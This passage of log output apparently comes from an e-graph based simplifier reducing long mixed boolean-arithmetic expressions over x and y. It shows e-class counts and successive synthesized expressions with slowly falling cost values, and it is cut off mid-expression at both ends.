000)*y)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x|y)*0xe302c70000000000)*y))+((((x|y)*0xf181638000000000)*y)*((~x)^y))))+((((((x|y)*0xf181638000000000)*(y*y))*((~y)+(x&y)))+((((((y^x)*(y^x))*0x6b02c22000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((y^x)*(y^x))*0xd605844000000000))+((((y^x)*(y^x))*0x6b02c22000000000)*((~x)^y))))+(((((((y^x)*(y^x))*0xd605844000000000)*y)*((~y)+(x&y)))+((((((x*y)*0x4108466000000000)*(y^x))*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x*y)*0x7def734000000000)*(y^x))*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x*y)*0x82108cc000000000)*(y^x)))+((((x*y)*0x4108466000000000)*(y^x))*((~x)^y))))+(((((((x*y)*0x82108cc000000000)*(y^x))*y)*((~y)+(x&y)))+((((((x*y)*(x*y))*0xb0c634c800000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x*y)*(x*y))*0x9e73967000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x*y)*(x*y))*0x618c699000000000))+((((x*y)*(x*y))*0xb0c634c800000000)*((~x)^y))))+(((((((x*y)*(x*y))*0x618c699000000000)*y)*((~y)+(x&y)))+((((((x|y)*0xac0b088000000000)*(y^x))*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x|y)*0x5816110000000000)*(y^x)))+((((x|y)*0xac0b088000000000)*(y^x))*((~x)^y))))+(((((((x|y)*0x5816110000000000)*(y^x))*y)*((~y)+(x&y)))+((((((x|y)*0x82108cc000000000)*(x*y))*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x|y)*0xfbdee68000000000)*(x*y))*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x|y)*0x421198000000000)*(x*y)))+((((x|y)*0x82108cc000000000)*(x*y))*((~x)^y))))+(((((((x|y)*0x421198000000000)*(x*y))*y)*((~y)+(x&y)))+((((((x|y)*(x|y))*0xac0b088000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x|y)*(x|y))*0x5816110000000000))+((((x|y)*(x|y))*0xac0b088000000000)*((~x)^y))))+(((((((x|y)*(x|y))*0x5816110000000000)*y)*((~y)+(x&y)))+(((((y^x)*((y^x)*(y^x)))*0x805c98c000000000)+((((x*y)*0xc1a0af6000000000)*((y^x)*(y^x)))+(((((x*y)*(x*y))*0x2271071000000000)*(y^x))+((((x*y)*((x*y)*(x*y)))*0x1138838800000000)+((((x|y)*0x22b948000000000)*((y^x)*(y^x)))+(((((x|y)*0x682bd8000000000)*(x*y))*(y^x))+((((x|y)*0x44e20e2000000000)*((x*y)*(x*y)))+(((((x|y)*(x|y))*0x457290000000000)*(y^x))+(((((x|y)*(x|y))*0x682bd8000000000)*(x*y))+((((x|y)*((x|y)*(x|y)))*0x2e4c60000000000)+((((x&y)*(x&y))*((0x5bfeed000000000*(x&y))+((x&(~y))*0xeec0339000000000)))+((((x&(~y))*(x&(~y)))*(((x&y)*0x113fcc7000000000)+(0xfa40113000000000*(x&(~y)))))+(((x&y)*(((((~x)^y)*0xeec0339000000000)*(x&y))+((((~x)^y)*0x227f98e000000000)*(x&(~y)))))+((((((~x)^y)*0xeec0339000000000)*(x&(~y)))*((~y)+(x&y)))+(((((~x)^y)*((~x)^y))*(((x&y)*0x113fcc7000000000)+(0xfa40113000000000*((~x)^y))))+(((y*0xeec0339000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((y*0x227f98e000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(y*0xdd80672000000000))+((y*0xeec0339000000000)*((~x)^y))))+((((y*y)*0x113fcc7000000000)*(y-(y^x)))+(((y*y)*((((~x)^y)*0xeec0339000000000)+(0xfa40113000000000*y)))+((((y^x)*0x5a353ef000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+((((y^x)*0x4b95822000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*((y^x)*0xb46a7de000000000))+(((y^x)*0x5a353ef000000000)*((~x)^y))))+((((((y^x)*0xb46a7de000000000)*y)*((~y)+(x&y)))+(((((x*y)*0x874fde6800000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+((((x*y)*0xf160433000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*((x*y)*0xe9fbcd000000000))+(((x*y)*0x874fde6800000000)*((~x)^y))))+((((((x*y)*0xe9fbcd000000000)*y)*((~y)+(x&y)))+(((((x|y)*0xb46a7de000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+((((x|y)*0x972b044000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*((x|y)*0x68d4fbc000000000))+(((x|y)*0xb46a7de000000000)*((~x)^y))))+((((((x|y)*0x68d4fbc000000000)*y)*((~y)+(x&y)))+(((((y^x)*(y^x))*0x70402d7000000000)+((((x*y)*0x50c0885000000000)*(y^x))+((((x*y)*(x*y))*0xbc90663c00000000)+((((x|y)*0xc100b5c000000000)*(y^x))+((((x|y)*0xa18110a000000000)*(x*y))+((((x|y)*(x|y))*0xc100b5c000000000)+((0x3337c25800000000*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+((0x99907b5000000000*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*0x666f84b000000000)+(0x3337c25800000000*((~x)^y))))+((((y*0x666f84b000000000)*((~y)+(x&y)))+((((y^x)*0xdab01d3000000000)+(((x*y)*0xc8082bc800000000)+(((x|y)*0xb5603a6000000000)+(0xdd3fb3ff21e75952+((((y^x)*(y^x))*((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000)))+((((x*y)*(x*y))*(((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y))))+(((y^x)*((((x|y)*0xfdd46b8000000000)*(y^x))+(((x|y)*0xf97d428000000000)*(x*y))))+(((x*y)*((((x|y)*0xbb1df1e000000000)*(x*y))+(((x|y)*(x|y))*0xf97d428000000000)))+((((x|y)*(x|y))*(((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y))))+(((y^x)*((0x24bd107000000000*(y^x))+((x*y)*0x6e37315000000000)))+(((x*y)*((0x92a964fc00000000*(x*y))+((x|y)*0xdc6e62a000000000)))+((((x|y)*0x92f441c000000000)*((y^x)+(x|y)))+(((((x|y)*0xe6b5be4000000004)+0x67c62228de18a6ae)+((x*y)*0xed084eb000000003))+((y^x)*0xf35adf2000000002))))))))))))))+((y*y)*0x3337c25800000000)))+((y*0x99907b5000000000)*(x&y))))))))))))+(((x|y)*0xb46a7de000000000)*(y*y))))+((((x|y)*0x972b044000000000)*y)*(x&y))))))+(((x*y)*0x874fde6800000000)*(y*y))))+((((x*y)*0xf160433000000000)*y)*(x&y))))))+(((y^x)*0x5a353ef000000000)*(y*y))))+((((y^x)*0x4b95822000000000)*y)*(x&y))))))))))))))))))))))))))+((((x|y)*(x|y))*0xac0b088000000000)*(y*y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*y)*(x&y))))))+((((x|y)*0x82108cc000000000)*(x*y))*(y*y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*y)*(x&y))))))+((((x|y)*0xac0b088000000000)*(y^x))*(y*y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*y)*(x&y))))))+((((x*y)*(x*y))*0xb0c634c800000000)*(y*y))))+(((((x*y)*(x*y))*0x9e73967000000000)*y)*(x&y))))))+((((x*y)*0x4108466000000000)*(y^x))*(y*y))))+(((((x*y)*0x7def734000000000)*(y^x))*y)*(x&y))))))+((((y^x)*(y^x))*0x6b02c22000000000)*(y*y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*y)*(x&y))))))+(((x|y)*0x5080768000000000)*(y*(y*y)))))+((((x|y)*0xe7e9c8000000000)*(y*y))*(x&y)))))))))))+(((x*y)*0x3c6058e000000000)*(y*(y*y)))))+((((x*y)*0x4adef56000000000)*(y*y))*(x&y)))))))))))+(((y^x)*0x28403b4000000000)*(y*(y*y)))))+((((y^x)*0x873f4e4000000000)*(y*y))*(x&y))))))))))))))))))))))))))))
====================================================================================================
eclasses #: 352031
Synthesized (cost = 1229): (((x&y)*((0x820278b000000000*((x&y)*((x&y)*(x&y))))+(((x&(~y))*(x&(~y)))*(((x&y)*0xc0ed42000000000)+((x&(~y))*0xf7f61d4000000000)))))+(((((x&y)*((x&y)*(x&y)))*0xf7f61d4000000000)*(~((~x)&y)))+(((((x&(~y))*((x&(~y))*(x&(~y))))*((0x820278b000000000*(x&(~y)))+(((~x)^y)*0x809e2c000000000)))+((x&y)*(((((~x)^y)*0x181da84000000000)*(x&(~y)))*(y-(y^x)))))+(((((~x)^y)*((~x)^y))*((0xc0ed42000000000*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((x&y)*(x&(~y)))*0xe7e257c000000000)))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*((((x&y)*0xf7f61d4000000000)+((x&(~y))*0x809e2c000000000))+(0x820278b000000000*((~x)^y))))+((((x&y)*(x&y))*((y*(((x&y)*0xf7f61d4000000000)+((x&(~y))*0x181da84000000000)))+((y*0x181da84000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*(y*(((x&y)*0xe7e257c000000000)+((x&(~y))*0x809e2c000000000))))+(((~x)^y)*(((x&y)*(y*0xcfc4af8000000000))+((y*0x181da84000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x181da84000000000*((x*y)-(0x2*((x&y)*y))))+((y*0x809e2c000000000)*((~x)^y))))+((((x&y)*((((y*y)*0xc0ed42000000000)*(x&y))+(((y*y)*0xe7e257c000000000)*(~((~x)&y)))))+(((x&(~y))*(y*y))*((0xc0ed42000000000*(x&(~y)))+(((~x)^y)*0x181da84000000000))))+((((y*y)*(((((~x)^y)*((~x)^y))*0xc0ed42000000000)+(0x820278b000000000*(y*y))))+((((x&y)*(x&y))*(((y^x)*(((x&y)*0xd7bfc4c000000000)+((x&(~y))*0x78c0b1c000000000)))+(((y^x)*0x78c0b1c000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((y^x)*(((x&y)*0x873f4e4000000000)+((x&(~y))*0x28403b4000000000))))+(((~x)^y)*(((x&y)*((y^x)*0xe7e9c8000000000))+(((y^x)*0x78c0b1c000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x78c0b1c000000000*((y^x)*((y^x)-y)))+(((y^x)*0x28403b4000000000)*((~x)^y))))+(((~y)*(((y^x)*0x873f4e4000000000)*y))+(((((x&y)*(x&y))*(((x*y)*(((x&y)*0xc39fa72000000000)+((x&(~y))*0xb5210aa000000000)))+(((x*y)*0xb5210aa000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x*y)*(((x&y)*0x4adef56000000000)+((x&(~y))*0x3c6058e000000000))))+(((~x)^y)*(((x&y)*((x*y)*0x95bdeac000000000))+(((x*y)*0xb5210aa000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x4adef56000000000*((x*y)*(y-(y^x))))+(((x*y)*0x3c6058e000000000)*((~x)^y))))+(((~y)*(((x*y)*0x4adef56000000000)*y))+(((((x&y)*(x&y))*(((x|y)*(((x&y)*0xaf7f898000000000)+((x&(~y))*0xf181638000000000)))+(((x|y)*0xf181638000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x|y)*(((x&y)*0xe7e9c8000000000)+((x&(~y))*0x5080768000000000))))+(((~x)^y)*(((x&y)*((x|y)*0x1cfd390000000000))+(((x|y)*0xf181638000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0xe7e9c8000000000*((x|y)*(y-(y^x))))+(((x|y)*0x5080768000000000)*((~x)^y))))+(((~y)*(((x|y)*0xe7e9c8000000000)*y))+(((((y^x)*(y^x))*0x6b02c22000000000)+((((x*y)*0x4108466000000000)*(y^x))+((((x*y)*(x*y))*0xb0c634c800000000)+((((x|y)*0xac0b088000000000)*(y^x))+((((x|y)*0x82108cc000000000)*(x*y))+((((x|y)*(x|y))*0xac0b088000000000)+((((y^x)*(y^x))*((0x805c98c000000000*(y^x))+((x*y)*0xc1a0af6000000000)))+((((x*y)*(x*y))*(((y^x)*0x2271071000000000)+(0x1138838800000000*(x*y))))+((((x|y)*(((y^x)*0xfdd46b8000000000)+((x*y)*0xf97d428000000000)))*(-(y^x)))+(((x|y)*((((x*y)*(x*y))*0x44e20e2000000000)+(((y^x)*0x457290000000000)*(x|y))))+((((x|y)*(x|y))*(((x*y)*0x682bd8000000000)+(0x2e4c60000000000*(x|y))))+((((y^x)*0x5a353ef000000000)+(((x*y)*0x874fde6800000000)+(((x|y)*0xb46a7de000000000)+((((y^x)*(y^x))*0x70402d7000000000)+(((x*y)*(((y^x)*0x50c0885000000000)+(0xbc90663c00000000*(x*y))))+((((x|y)*0xc100b5c000000000)*(y^x))+(((x|y)*(((x*y)*0xa18110a000000000)+((x|y)*0xc100b5c000000000)))+(0x3337c25800000000+(((y^x)*0xdab01d3000000000)+(((x*y)*0xc8082bc800000000)+(((x|y)*0xb5603a6000000000)+(0xdd3fb3ff21e75952+((((y^x)*(y^x))*(((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000))+((x|y)*0xfdd46b8000000000)))+((((x*y)*(x*y))*((((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y)))+((x|y)*0xbb1df1e000000000)))+(((((x|y)*0xf97d428000000000)*(x*y))*((y^x)+(x|y)))+((((x|y)*(x|y))*(((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y))))+(((((x*y)*((((y^x)*0x6e37315000000000)+(0x92a964fc00000000*(x*y)))+((x|y)*0xdc6e62a000000000)))+(((y^x)*(((x|y)*0x92f441c000000000)+0xf35adf2000000002))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))))+(((x*y)*0xed084eb000000003)+0x67c62228de18a6ae))+(((y^x)*(y^x))*0x24bd107000000000))))))))))))))))))+0x5bfeed000000000))))))))))))+(((x|y)*0x5080768000000000)*(y*(y*y))))))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))))))+(((y^x)*0x28403b4000000000)*(y*(y*y)))))))))+(((y*(y*y))*0x809e2c000000000)*(~y))))))))))))
e-graph reset done.
====================================================================================================
eclasses #: 603
Synthesized (cost = 1227): (((x&y)*((0x820278b000000000*((x&y)*((x&y)*(x&y))))+(((x&(~y))*(x&(~y)))*(((x&y)*0xc0ed42000000000)+((x&(~y))*0xf7f61d4000000000)))))+(((((x&y)*((x&y)*(x&y)))*0xf7f61d4000000000)*(x|(~y)))+(((((x&(~y))*((x&(~y))*(x&(~y))))*((0x820278b000000000*(x&(~y)))+(((~x)^y)*0x809e2c000000000)))+((x&y)*(((((~x)^y)*0x181da84000000000)*(x&(~y)))*(y-(y^x)))))+(((((~x)^y)*((~x)^y))*((0xc0ed42000000000*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((x&y)*(x&(~y)))*0xe7e257c000000000)))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*((((x&y)*0xf7f61d4000000000)+((x&(~y))*0x809e2c000000000))+(0x820278b000000000*((~x)^y))))+((((x&y)*(x&y))*((y*(((x&y)*0xf7f61d4000000000)+((x&(~y))*0x181da84000000000)))+((y*0x181da84000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*(y*(((x&y)*0xe7e257c000000000)+((x&(~y))*0x809e2c000000000))))+(((~x)^y)*(((x&y)*(y*0xcfc4af8000000000))+((y*0x181da84000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x181da84000000000*((x*y)-(0x2*((x&y)*y))))+((y*0x809e2c000000000)*((~x)^y))))+((((x&y)*((((y*y)*0xc0ed42000000000)*(x&y))+(((y*y)*0xe7e257c000000000)*(x|(~y)))))+(((x&(~y))*(y*y))*((0xc0ed42000000000*(x&(~y)))+(((~x)^y)*0x181da84000000000))))+((((y*y)*(((((~x)^y)*((~x)^y))*0xc0ed42000000000)+(0x820278b000000000*(y*y))))+((((x&y)*(x&y))*(((y^x)*(((x&y)*0xd7bfc4c000000000)+((x&(~y))*0x78c0b1c000000000)))+(((y^x)*0x78c0b1c000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((y^x)*(((x&y)*0x873f4e4000000000)+((x&(~y))*0x28403b4000000000))))+(((~x)^y)*(((x&y)*((y^x)*0xe7e9c8000000000))+(((y^x)*0x78c0b1c000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x78c0b1c000000000*((y^x)*((y^x)-y)))+(((y^x)*0x28403b4000000000)*((~x)^y))))+(((~y)*(((y^x)*0x873f4e4000000000)*y))+(((((x&y)*(x&y))*(((x*y)*(((x&y)*0xc39fa72000000000)+((x&(~y))*0xb5210aa000000000)))+(((x*y)*0xb5210aa000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x*y)*(((x&y)*0x4adef56000000000)+((x&(~y))*0x3c6058e000000000))))+(((~x)^y)*(((x&y)*((x*y)*0x95bdeac000000000))+(((x*y)*0xb5210aa000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x4adef56000000000*((x*y)*(y-(y^x))))+(((x*y)*0x3c6058e000000000)*((~x)^y))))+(((~y)*(((x*y)*0x4adef56000000000)*y))+(((((x&y)*(x&y))*(((x|y)*(((x&y)*0xaf7f898000000000)+((x&(~y))*0xf181638000000000)))+(((x|y)*0xf181638000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x|y)*(((x&y)*0xe7e9c8000000000)+((x&(~y))*0x5080768000000000))))+(((~x)^y)*(((x&y)*((x|y)*0x1cfd390000000000))+(((x|y)*0xf181638000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0xe7e9c8000000000*((x|y)*(y-(y^x))))+(((x|y)*0x5080768000000000)*((~x)^y))))+(((~y)*(((x|y)*0xe7e9c8000000000)*y))+(((((y^x)*(y^x))*0x6b02c22000000000)+((((x*y)*0x4108466000000000)*(y^x))+((((x*y)*(x*y))*0xb0c634c800000000)+((((x|y)*0xac0b088000000000)*(y^x))+((((x|y)*0x82108cc000000000)*(x*y))+((((x|y)*(x|y))*0xac0b088000000000)+((((y^x)*(y^x))*((0x805c98c000000000*(y^x))+((x*y)*0xc1a0af6000000000)))+((((x*y)*(x*y))*(((y^x)*0x2271071000000000)+(0x1138838800000000*(x*y))))+((((x|y)*(((y^x)*0xfdd46b8000000000)+((x*y)*0xf97d428000000000)))*(-(y^x)))+(((x|y)*((((x*y)*(x*y))*0x44e20e2000000000)+(((y^x)*0x457290000000000)*(x|y))))+((((x|y)*(x|y))*(((x*y)*0x682bd8000000000)+(0x2e4c60000000000*(x|y))))+((((y^x)*0x5a353ef000000000)+(((x*y)*0x874fde6800000000)+(((x|y)*0xb46a7de000000000)+((((y^x)*(y^x))*0x70402d7000000000)+(((x*y)*(((y^x)*0x50c0885000000000)+(0xbc90663c00000000*(x*y))))+((((x|y)*0xc100b5c000000000)*(y^x))+(((x|y)*(((x*y)*0xa18110a000000000)+((x|y)*0xc100b5c000000000)))+(0x3337c25800000000+(((y^x)*0xdab01d3000000000)+(((x*y)*0xc8082bc800000000)+(((x|y)*0xb5603a6000000000)+(0xdd3fb3ff21e75952+((((y^x)*(y^x))*(((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000))+((x|y)*0xfdd46b8000000000)))+((((x*y)*(x*y))*((((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y)))+((x|y)*0xbb1df1e000000000)))+(((((x|y)*0xf97d428000000000)*(x*y))*((y^x)+(x|y)))+((((x|y)*(x|y))*(((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y))))+(((((x*y)*((((y^x)*0x6e37315000000000)+(0x92a964fc00000000*(x*y)))+((x|y)*0xdc6e62a000000000)))+(((y^x)*(((x|y)*0x92f441c000000000)+0xf35adf2000000002))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))))+(((x*y)*0xed084eb000000003)+0x67c62228de18a6ae))+(((y^x)*(y^x))*0x24bd107000000000))))))))))))))))))+0x5bfeed000000000))))))))))))+(((x|y)*0x5080768000000000)*(y*(y*y))))))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))))))+(((y^x)*0x28403b4000000000)*(y*(y*y)))))))))+(((y*(y*y))*0x809e2c000000000)*(~y))))))))))))
====================================================================================================
eclasses #: 1287
Synthesized (cost = 1226): (((x&y)*((0x820278b000000000*((x&y)*((x&y)*(x&y))))+(((x&(~y))*(x&(~y)))*(((x&y)*0xc0ed42000000000)+((x&(~y))*0xf7f61d4000000000)))))+(((((x&y)*((x&y)*(x&y)))*0xf7f61d4000000000)*(x|(~y)))+(((((x&(~y))*((x&(~y))*(x&(~y))))*((0x820278b000000000*(x&(~y)))+(((~x)^y)*0x809e2c000000000)))+((x&y)*(((((~x)^y)*0x181da84000000000)*(x&(~y)))*(y-(y^x)))))+(((((~x)^y)*((~x)^y))*((0xc0ed42000000000*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((x&y)*(x&(~y)))*0xe7e257c000000000)))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*((((x&y)*0xf7f61d4000000000)+((x&(~y))*0x809e2c000000000))+(0x820278b000000000*((~x)^y))))+((((x&y)*(x&y))*((y*(((x&y)*0xf7f61d4000000000)+((x&(~y))*0x181da84000000000)))+((y*0x181da84000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*(y*(((x&y)*0xe7e257c000000000)+((x&(~y))*0x809e2c000000000))))+(((~x)^y)*(((x&y)*(y*0xcfc4af8000000000))+((y*0x181da84000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x181da84000000000*((x*y)-(0x2*((x&y)*y))))+((y*0x809e2c000000000)*((~x)^y))))+((((x&y)*((((y*y)*0xc0ed42000000000)*(x&y))+(((y*y)*0xe7e257c000000000)*(x|(~y)))))+(((x&(~y))*(y*y))*((0xc0ed42000000000*(x&(~y)))+(((~x)^y)*0x181da84000000000))))+((((y*y)*(((((~x)^y)*((~x)^y))*0xc0ed42000000000)+(0x820278b000000000*(y*y))))+((((x&y)*(x&y))*(((y^x)*(((x&y)*0xd7bfc4c000000000)+((x&(~y))*0x78c0b1c000000000)))+(((y^x)*0x78c0b1c000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((y^x)*(((x&y)*0x873f4e4000000000)+((x&(~y))*0x28403b4000000000))))+(((~x)^y)*(((x&y)*((y^x)*0xe7e9c8000000000))+(((y^x)*0x78c0b1c000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x78c0b1c000000000*((y^x)*((y^x)-y)))+(((y^x)*0x28403b4000000000)*((~x)^y))))+(((~y)*(((y^x)*0x873f4e4000000000)*y))+(((((x&y)*(x&y))*(((x*y)*(((x&y)*0xc39fa72000000000)+((x&(~y))*0xb5210aa000000000)))+(((x*y)*0xb5210aa000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x*y)*(((x&y)*0x4adef56000000000)+((x&(~y))*0x3c6058e000000000))))+(((~x)^y)*(((x&y)*((x*y)*0x95bdeac000000000))+(((x*y)*0xb5210aa000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x4adef56000000000*((x*y)*(y-(y^x))))+(((x*y)*0x3c6058e000000000)*((~x)^y))))+(((~y)*(((x*y)*0x4adef56000000000)*y))+(((((x&y)*(x&y))*(((x|y)*(((x&y)*0xaf7f898000000000)+((x&(~y))*0xf181638000000000)))+(((x|y)*0xf181638000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x|y)*(((x&y)*0xe7e9c8000000000)+((x&(~y))*0x5080768000000000))))+(((~x)^y)*(((x&y)*((x|y)*0x1cfd390000000000))+(((x|y)*0xf181638000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0xe7e9c8000000000*((x|y)*(y-(y^x))))+(((x|y)*0x5080768000000000)*((~x)^y))))+(((~y)*(((x|y)*0xe7e9c8000000000)*y))+(((((y^x)*(y^x))*0x6b02c22000000000)+((((x*y)*0x4108466000000000)*(y^x))+((((x*y)*(x*y))*0xb0c634c800000000)+((((x|y)*0xac0b088000000000)*(y^x))+((((x|y)*0x82108cc000000000)*(x*y))+((((x|y)*(x|y))*0xac0b088000000000)+((((y^x)*(y^x))*((0x805c98c000000000*(y^x))+((x*y)*0xc1a0af6000000000)))+((((x*y)*(x*y))*(((y^x)*0x2271071000000000)+(0x1138838800000000*(x*y))))+((((x|y)*((((x*y)*(x*y))*0x44e20e2000000000)+(((y^x)*0x457290000000000)*(x|y))))+((((x|y)*(x|y))*(((x*y)*0x682bd8000000000)+(0x2e4c60000000000*(x|y))))+((((y^x)*0x5a353ef000000000)+(((x*y)*0x874fde6800000000)+(((x|y)*0xb46a7de000000000)+((((y^x)*(y^x))*0x70402d7000000000)+(((x*y)*(((y^x)*0x50c0885000000000)+(0xbc90663c00000000*(x*y))))+((((x|y)*0xc100b5c000000000)*(y^x))+(((x|y)*(((x*y)*0xa18110a000000000)+((x|y)*0xc100b5c000000000)))+(0x3337c25800000000+(((y^x)*0xdab01d3000000000)+(((x*y)*0xc8082bc800000000)+(((x|y)*0xb5603a6000000000)+(0xdd3fb3ff21e75952+((((y^x)*(y^x))*(((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000))+((x|y)*0xfdd46b8000000000)))+((((x*y)*(x*y))*((((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y)))+((x|y)*0xbb1df1e000000000)))+(((((x|y)*0xf97d428000000000)*(x*y))*((y^x)+(x|y)))+((((x|y)*(x|y))*(((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y))))+(((((x*y)*((((y^x)*0x6e37315000000000)+(0x92a964fc00000000*(x*y)))+((x|y)*0xdc6e62a000000000)))+(((y^x)*(((x|y)*0x92f441c000000000)+0xf35adf2000000002))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))))+(((x*y)*0xed084eb000000003)+0x67c62228de18a6ae))+(((y^x)*(y^x))*0x24bd107000000000))))))))))))))))))+0x5bfeed000000000)))-(((x|y)*(((y^x)*0xfdd46b8000000000)+((x*y)*0xf97d428000000000)))*(y^x)))))))))))+(((x|y)*0x5080768000000000)*(y*(y*y))))))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))))))+(((y^x)*0x28403b4000000000)*(y*(y*y)))))))))+(((y*(y*y))*0x809e2c000000000)*(~y))))))))))))
====================================================================================================
eclasses #: 3840
Synthesized (cost = 1217): (((x&y)*((0x820278b000000000*((x&y)*((x&y)*(x&y))))+(((x&(~y))*(x&(~y)))*(((x&y)*0xc0ed42000000000)+((x&(~y))*0xf7f61d4000000000)))))+(((((x&y)*((x&y)*(x&y)))*0xf7f61d4000000000)*(x|(~y)))+(((((x&(~y))*((x&(~y))*(x&(~y))))*((0x820278b000000000*(x&(~y)))+(((~x)^y)*0x809e2c000000000)))+((x&y)*(((((~x)^y)*0x181da84000000000)*(x&(~y)))*(y-(y^x)))))+(((((~x)^y)*((~x)^y))*((0xc0ed42000000000*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((x&y)*(x&(~y)))*0xe7e257c000000000)))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*((0x809e2c000000000*((y^x)-y))+(0x820278b000000000*((~x)^y))))+((((x&y)*(x&y))*((y*(((x&y)*0xf7f61d4000000000)+((x&(~y))*0x181da84000000000)))+((y*0x181da84000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*(y*(((x&y)*0xe7e257c000000000)+((x&(~y))*0x809e2c000000000))))+(((~x)^y)*(((x&y)*(y*0xcfc4af8000000000))+((y*0x181da84000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x181da84000000000*(y*((y^x)-y)))+((y*0x809e2c000000000)*((~x)^y))))+((((x&y)*((((y*y)*0xc0ed42000000000)*(x&y))+(((y*y)*0xe7e257c000000000)*(x|(~y)))))+(((x&(~y))*(y*y))*((0xc0ed42000000000*(x&(~y)))+(((~x)^y)*0x181da84000000000))))+((((y*y)*(((((~x)^y)*((~x)^y))*0xc0ed42000000000)+(0x820278b000000000*(y*y))))+((((x&y)*(x&y))*(((y^x)*(((x&y)*0xd7bfc4c000000000)+((x&(~y))*0x78c0b1c000000000)))+(((y^x)*0x78c0b1c000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((y^x)*(((x&y)*0x873f4e4000000000)+((x&(~y))*0x28403b4000000000))))+(((~x)^y)*(((x&y)*((y^x)*0xe7e9c8000000000))+(((y^x)*0x78c0b1c000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x78c0b1c000000000*((y^x)*((y^x)-y)))+(((y^x)*0x28403b4000000000)*((~x)^y))))+(((~y)*(((y^x)*0x873f4e4000000000)*y))+(((((x&y)*(x&y))*(((x*y)*(((x&y)*0xc39fa72000000000)+((x&(~y))*0xb5210aa000000000)))+(((